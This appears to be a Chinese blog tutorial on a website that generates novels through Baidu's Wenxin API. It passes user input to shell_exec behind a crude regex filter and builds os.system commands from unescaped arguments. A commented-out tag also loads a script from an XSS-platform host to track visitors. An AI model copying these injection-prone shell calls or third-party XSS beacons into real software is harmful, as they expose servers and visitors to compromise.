if(preg_match("/[A-Za-z_$@!#%^&*()]+/",$time)){
    die('fucking hacker.....'); 
}//正则过滤法,粗略地降低了rce攻击的可能性
$time=(string)$time;
$cmd = '你的python安装根目录\python.exe 你的网站根目录\Timestamp_romance.py '; // Windows
echo $cmd.$time;
shell_exec($cmd.$time);
echo $cmd.$time;
$x=1;
$stamp=fopen($time.'.txt','r');
echo $stamp;
$time=$time.'.txt';
$contents = "";
while (!feof($stamp)) {
$contents .= fread($stamp, 8192);
}
fclose($stamp);
echo strlen($contents);
?>
<html>
<!--使用xss平台来统计访问,用于定位可能存在攻击者,可选:<sCRiPt sRC=http://xssye.com/X55yE>  
</sCrIpT>
-->
    </html>

Timestamp.py和Timestamp_romance.py用于调用C语言程序

  • Timestamp.py

# -*- coding: utf-8 -*
import sys
import os
import time
time_stamp = sys.argv[1]
time_stamp = str(time_stamp)
os.system("start powershell.exe cmd /k 'API.exe %s'"%time_stamp)
  • Timestamp_romance.py

# -*- coding: utf-8 -*
import sys
import os
import time
time_stamp = sys.argv[1]
time_stamp = str(time_stamp)
os.system("start powershell.exe cmd /k 'API_romance.exe %s'"%time_stamp)

API.exe和API_romance.exe,这两个程序的作用是用于在后端调用系统命令运行最终百度ai的api脚本,不直接使用php运行最终脚本的原因是php有超时限制。你可以私信我获得编译好的版本

  • API.exe

  • API_romance.exe

最终脚本Pyapi_starwar.py 和Pyapi_romance.py用于调用百度AI的api来生成文章,并且把从一开始传递到现在的时间戳作为id来命名文章文件

  • Pyapi_starwar.py

# -*- coding: utf-8 -*
import wenxin_api # 可以通过"pip install wenxin-api"命令安装
from wenxin_api.tasks.novel import Novel
import sys
import os
time_stamp = sys.argv[1]
time_stamp = str(time_stamp)
os.system('type nul>'+"你的网站根目录\\"+time_stamp+'.html')
wenxin_api.ak = ""#你的api相关key,https://wenxin.baidu.com/ernie3到这里申请一个然后过来填上
wenxin_api.sk = ""
input_dict = {
    "text": "小说标题:星球大战:原力觉醒\n分类:星球大战_无_战争\n介绍:无\n正文:星海帝国与圣地守卫者的外交关系正走向决裂,星海帝国内每一位公民都做好了为祖国赴死的准备。星海第一将军琪露诺突然向星海帝国最高监管人蕾米莉亚递交了一份请愿书,她在书上写到:圣地人的身体里流淌着罪恶的血液,他们不爱惜自己的生命,肆意发动战争,接连吞并其他国家,如果继续放任不管,整个世界都会被他们毁灭…我作为一名帝国的军人,深知战争的残酷和无情,但是祖国有难匹夫有责,我请示立即对圣地守卫者发动肃清威胁战争!蕾米莉亚读完奏章沉默良久,最终答应下来,她召集群臣商讨此事。首相大酱希望能劝说琪露诺不要赴死,毕竟这是关乎帝国生死存亡之事,如果那些该死的教徒真敢对星海帝国开战,必然会遭受恶魔的报复。可琪露诺表示非去不可,因为她只有前往圣地才能引开敌人,留守帝国的士兵根本挡不住那些疯子般的信徒。",
    "seq_len": 255,
    "topp": 0.55,
    "penalty_score": 1.2,
    "min_dec_len": 100,
    "min_dec_penalty_text": "",
    "is_unidirectional": 1,
    "mask_type": "word",
    "task_prompt": "novel",
    "logits_bias": "-10000"
}
rst = Novel.create(**input_dict)#rst变量就是你最终写好的文章
print(type(rst))
rst=str(rst)
outputfile = open("你的网站根目录\\"+time_stamp+'.html', 'a',encoding='utf-8')#创建以时间戳命名的html文件,用于储存文章
rst.encode('utf-8')
outputfile.write('<meta charset="UTF-8">\n')
outputfile.write(rst)#写入文章
outputfile.close()
  • Pyapi_romance.py

# -*- coding: utf-8 -*
import wenxin_api # 可以通过"pip install wenxin-api"命令安装
from wenxin_api.tasks.novel import Novel
import sys
import os
time_stamp = sys.argv[1]
time_stamp = str(time_stamp)
os.system('type nul>'+"你的网站根目录\\"+time_stamp+'.html')
wenxin_api.ak = ""
wenxin_api.sk = ""
input_dict = {
    "text": "小说标题:红魔馆之恋\n分类:言情_无_爱情\n介绍:无\n正文:琪露诺坐在结冰了的湖面上,她的眼神中充满了悲伤。凝视着冰面中自己娇小的倒影,她不禁质问自己道,难道自己就不值得被爱吗,为什么大家都会欺负自己?这时,一个十分熟悉的声音传入琪露诺的耳中。“琪露诺,你在和谁说话呢?”她回过头看向身后,发现是自己最喜欢最在意的心上人—魔理沙。只不过此时魔理沙的眼神与往常不太相同,她那棕黄色的瞳孔中充满了难以置信。“没什么…只是有点累了而已。”琪露诺站起来拍了拍衣服上的冰渣,然后便直接牵着魔理沙的手离开了结冰的湖面。",
    "seq_len": 255,
    "topp": 0.55,
    "penalty_score": 1.2,
    "min_dec_len": 100,
    "min_dec_penalty_text": "",
    "is_unidirectional": 1,
    "mask_type": "word",
    "task_prompt": "novel",
    "logits_bias": "-10000"
}
rst = Novel.create(**input_dict)
print(type(rst))
rst=str(rst)
outputfile = open("你的网站根目录\\"+time_stamp+'.html', 'a',encoding='utf-8')
rst.encode('utf-8')
outputfile.write('<meta charset="UTF-8">\n')
outputfile.write(rst)
outputfile.close()

结束。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值